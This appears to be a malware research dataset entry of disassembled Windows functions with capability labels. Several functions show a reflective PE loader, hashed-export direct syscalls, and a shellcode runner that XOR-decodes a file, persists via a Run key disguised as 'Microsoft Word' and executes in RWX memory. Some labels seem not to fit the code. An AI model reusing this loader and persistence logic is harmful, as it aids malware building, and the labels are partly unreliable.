joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001560
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rcx
test rcx, rcx
je 0x1400017c7
mov r15d, 0x5a4d
cmp word [rcx], r15w
jne 0x1400017c7
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400017c7
lea r14, [rax + rcx]
cmp dword [r14], 0x4550
jne 0x1400017c7
lea rbx, [rcx + 0xb0]
add rbx, rax
xor r13d, r13d
cmp dword [rbx], r13d
cmove rbx, r13
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x38], rax
mov rdx, qword [r14 + 0x30]
lea rcx, [r13 - 1]
call fcn.140002c30
mov eax, dword [r14 + 0x50]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [r13 - 1]
call fcn.140002bf0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x140001671
test rbx, rbx
je 0x1400017d3
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rax - 1]
call fcn.140002bf0
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x1400017d3
mov qword [r14 + 0x30], rax
mov r8d, dword [r14 + 0x54]
mov rdx, rdi
mov rcx, qword [rsp + 0x30]
call fcn.140003c93
mov esi, r13d
cmp r13w, word [r14 + 6]
jae 0x1400016c5
lea rbx, [r14 + 0x11c]
nop word [rax + rax]
mov r8d, dword [rbx - 4]
mov edx, dword [rbx]
add rdx, rdi
mov ecx, dword [rbx - 8]
add rcx, qword [rsp + 0x30]
call fcn.140003c93
inc esi
lea rbx, [rbx + 0x28]
movzx eax, word [r14 + 6]
cmp esi, eax
jl 0x1400016a0
mov rcx, qword [rsp + 0x30]
call fcn.1400012b0
mov r9, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
cmp r9, rbp
je 0x1400017bc
mov edi, dword [r14 + 0x50]
test r9, r9
je 0x1400017bc
cmp word [r9], r15w
jne 0x1400017bc
movsxd rax, dword [r9 + 0x3c]
cmp eax, 0x400
jg 0x1400017bc
cmp dword [rax + r9], 0x4550
jne 0x1400017bc
mov ecx, dword [rax + r9 + 0xb0]
test ecx, ecx
je 0x1400017bc
mov r15d, dword [rax + r9 + 0xb4]
mov r12d, ecx
mov rbx, r13
test r15, r15
je 0x1400017bc
nop dword [rax]
lea r10, [rbx + r12]
add r10, r9
mov eax, dword [r10]
test eax, eax
je 0x1400017b7
mov ecx, dword [r10 + 4]
test ecx, ecx
je 0x1400017b7
lea r11, [rcx - 8]
shr r11, 1
mov esi, eax
lea r8, [r10 + 8]
mov rdx, r13
je 0x1400017ab
nop dword [rax + rax]
movzx eax, word [r8]
mov ecx, eax
shr rcx, 0xc
and eax, 0xfff
add rax, rsi
test rcx, rcx
je 0x1400017ab
cmp rcx, 3
jne 0x1400017b7
cmp rax, rdi
jae 0x1400017b7
lea rcx, [rax + r9]
mov rax, r9
sub rax, rbp
add qword [rcx], rax
add r8, 2
inc rdx
cmp rdx, r11
jb 0x140001770
mov eax, dword [r10 + 4]
add rbx, rax
cmp rbx, r15
jb 0x140001740
mov r9, qword [rsp + 0x30]
mov eax, dword [r14 + 0x28]
add rax, r9
call rax
jmp 0x1400017d5
lea rcx, str.___File_isnt_a_PE_file.
call fcn.140001010
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002d20
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001cf0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rdx, [0x140001230]
mov rcx, qword [0x140004130]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
call fcn.1400027a0
mov rcx, rax
lea rdx, [0x140002960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x20], 0x989680
mov ecx, 0x989680
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x28], rax
movdqa xmm0, xmmword [0x1400045c0]
movdqa xmm1, xmmword [0x1400045e0]
mov word [rsp + 0x50], 0xbb1f
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x154
mov eax, dword [rcx + rdi]
test al, 1
jne 0x140001dda
or eax, 1
mov dword [rcx + rdi], eax
mov eax, 0x130
mov ebx, eax
lea rcx, [rax + rdi]
mov byte [rcx + 0x22], 1
lea rax, [rcx + 0x21]
lea rdx, [rsp + 0x51]
cmp rcx, rdx
ja 0x140001dbb
lea rdx, [rsp + 0x30]
cmp rax, rdx
jb 0x140001dbb
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rsp + 0x50]
mov word [rcx + 0x20], ax
jmp 0x140001dcb
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rsp + 0x50]
mov word [rcx + 0x20], ax
lea rcx, [0x140003f00]
call fcn.140002e54
nop
jmp 0x140001ddf
mov ebx, 0x130
lea r9, [rdi + rbx]
cmp byte [r9 + 0x22], 0
je 0x140001e3d
lea r8, [r9 + 1]
mov r10, r9
not r10
movabs r11, 0xcd49476d59cbbb6b
nop
lea ecx, [r8 + r10]
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8 - 1], dl
movzx ecx, r8b
sub cl, r9b
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8], dl
add r8, 2
lea rax, [r10 + r8]
cmp rax, 0x22
jb 0x140001e00
mov byte [r9 + 0x22], 0
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, r9
call fcn.140001800
xor r9d, r9d
mov rcx, qword [rsp + 0x28]
mov r10d, dword [rsp + 0x20]
test r10d, r10d
jle 0x140001e8c
mov r8, rcx
nop dword [rax]
nop dword [rax + rax]
movzx edx, r9b
add dl, dl
mov eax, 0xfa
sub al, dl
add byte [r8], al
inc r9d
lea r8, [r8 + 1]
cmp r9d, r10d
jl 0x140001e70
call fcn.140001560
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002d20
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x1400029b0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x140007fc0], 0
jne 0x140002b90
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140002b9a
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x140002a1e
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x140002a1e
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140002a2a
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x1400029e1
test rdx, rdx
je 0x140002b9a
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x140007fc0]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x140002ae3
xor r11d, r11d
mov r10d, 0x3e0b8494
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x140002aa0
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x140002ae7
test ebx, ebx
jne 0x140002a80
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x140007fc0], r8d
test eax, eax
je 0x140002b82
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x140002b78
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x140002b69
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x140007fc0]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x140002b20
inc edx
lea eax, [r8 - 1]
cmp edx, eax
jb 0x140002b10
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x140002bf0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8051b6e0
call fcn.140002bb0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140002c30
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x2ae023d
call fcn.140002bb0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140003164
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140012540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14001256d
xor al, al
jmp 0x1400126cf
mov rax, qword [0x1400326c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400326c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400326d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400326d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400326e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400326e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400326f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400326f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140032700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1400126c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140012619
mov r11d, 2
jmp 0x14001263d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140012633
mov r11d, 1
jmp 0x14001263d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1400126e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140012682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14001269a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1400126aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1400126b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140012600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1400126ca
Function at 0x180001010
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path
Get file size
Persist via run registry key
Read file on windows
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x8a0
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x890], rax
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x104
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchRemoveFileSpec]
lea r9, str._sc.dbg
lea r8, [rsp + 0x50]
lea rdx, str._ws_ws
lea rcx, [rsp + 0x470]
call fcn.180001270
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x470]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call fcn.180001300
mov ecx, edi
mov rsi, rax
call fcn.180001300
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
mov word [rsp + 0x40], 0x3059
test edi, edi
je 0x180001134
mov r8, r14
sub rsi, r14
mov r10d, edi
nop word [rax + rax]
xor eax, eax
lea r8, [r8 + 1]
cmp ecx, 1
cmovbe eax, ecx
mov ecx, eax
inc ecx
movzx eax, byte [rsp + rax + 0x40]
xor al, byte [rsi + r8 - 1]
mov byte [r8 - 1], al
sub r10, 1
jne 0x180001110
lea rdx, [rsp + 0x680]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r9, str.Thong_tin_ve_hoc_phi.exe
lea r8, [rsp + 0x680]
lea rdx, str._ws_ws
lea rcx, [rsp + 0x260]
call fcn.180001270
lea rax, [rsp + 0x48]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800011dc
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x48]
lea rdx, str.Microsoft_Word
add eax, eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.1800012e0
lea r11, [rsp + 0x8a0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x14001a3d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14001a460
cmp r10, r11
jb 0x14001a4d6
cmp r10, rdx
ja 0x14001a4ea
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x14001a462
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14001a440
jmp 0x14001a4c4
ja 0x14001a46a
mov r11, r10
cmp rax, r8
jne 0x14001a404
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14001a4a0
mov rdi, r8
sub ecx, edx
jns 0x14001a4bb
jmp 0x14001a4c6
cmp r8, rsi
je 0x14001a4fb
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14001a4c6
xor al, 1
cmp rdi, rsi
jne 0x14001a480
jmp 0x14001a4c6
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, [0x1413bc410]
mov rcx, r11
mov rdx, r10
call fcn.140053840
ud2
lea r8, [0x1413bc410]
mov rcx, r10
call fcn.1400535c0
ud2
lea rcx, [0x1413c0ab0]
lea r8, [0x1413bc3f8]
mov edx, 0x2b
call fcn.140053640
ud2
Function at 0x1400216c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x14002171b
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x14002171b
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x140021736
cmp eax, 0x42
jne 0x14002171b
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x1400217e6
cmp byte [r9 + r11], 0x5f
jne 0x1400217e6
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14002184e
mov rcx, rsi
xor edx, edx
call fcn.14001cbb0
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.14001cbb0
test al, al
jne 0x1400218e1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140021772
lea rdx, [0x1413c03ab]
mov r8d, 1
call fcn.1400184d0
test al, al
jne 0x1400218e1
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x14002172a
xor r14d, r14d
lea rbx, [0x1413c0760]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400217a4
cmp byte [rax + rcx], 0x45
je 0x14002190a
sub r14, 1
jb 0x1400217c9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400217c9
mov r8d, 2
mov rdx, rbx
call fcn.1400184d0
test al, al
jne 0x1400218e1
mov rcx, rsi
call fcn.14001e4c0
test al, al
jne 0x1400218e1
mov rax, qword [rsi]
test rax, rax
jne 0x140021790
jmp 0x14002172a
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x1400218a8
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x140021842
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x14002182c
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x14002181b
add dl, 0xa9
jmp 0x14002182a
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x1400218a8
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x1400218a8
movzx edx, bl
add rax, rdx
jae 0x1400217f0
jmp 0x1400218a8
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x1400218a8
cmp rax, rcx
jae 0x1400218a5
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x1400218e9
cmp qword [rsi + 0x20], 0
je 0x140021903
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.1400216c0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x14002172c
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400218f8
lea rax, [0x1413c0710]
lea rdx, [0x1413c0720]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.1400184d0
test al, al
je 0x1400218f8
mov dil, 2
jmp 0x14002172a
mov dil, 1
xor r8d, r8d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1400218b3
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x14002172a
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x14002172a
Function at 0x1400261a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1413c3198]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140026213
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14002624a
test eax, eax
js 0x140026224
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14002623d
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
lea rax, [0x1413c31f8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140024090
mov rcx, rax
call fcn.140024200
mov ecx, 7
int 0x29
ud2
Function at 0x140029970
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x1400299a0
test ecx, ecx
jne 0x1400299f0
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x1400299ac
test ecx, ecx
jne 0x1400299f0
mov rcx, rdi
call fcn.140029850
movzx eax, al
test bpl, bpl
jne 0x1400299f7
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x1400299e3.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x140029b68]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x1400299e3.2
xor eax, eax
test bpl, bpl
je 0x1400299bc
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x140029b49
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x140029a2a
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x140029aa9
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x140029a70
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x140029a8b
inc rax
dec rdi
cmp rax, 1
jne 0x140029a50
jmp 0x140029aa9
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x140029a8b
cmp ebx, 0x5c
je 0x140029a8b
inc rax
dec rdi
cmp rax, 1
jne 0x140029a70
jmp 0x140029aa9
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x140029b57
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x140029ad3
mov al, 9
cmp rdx, 2
je 0x140029ad7
cmp rdx, 1
jne 0x140029ae7
cmp byte [r8], 0x2e
jne 0x140029ae7
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x140029ae7
mov al, 0xa
jmp 0x140029ae7
cmp byte [r8], 0x2e
jne 0x140029ae7
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], al
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x1400299e3.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x1400299e3.2
mov ecx, 2
jmp case.0x1400299e3.2
lea r8, [0x1413c2318]
call fcn.140053540
ud2
lea r8, [0x1413c2330]
call fcn.140053540
ud2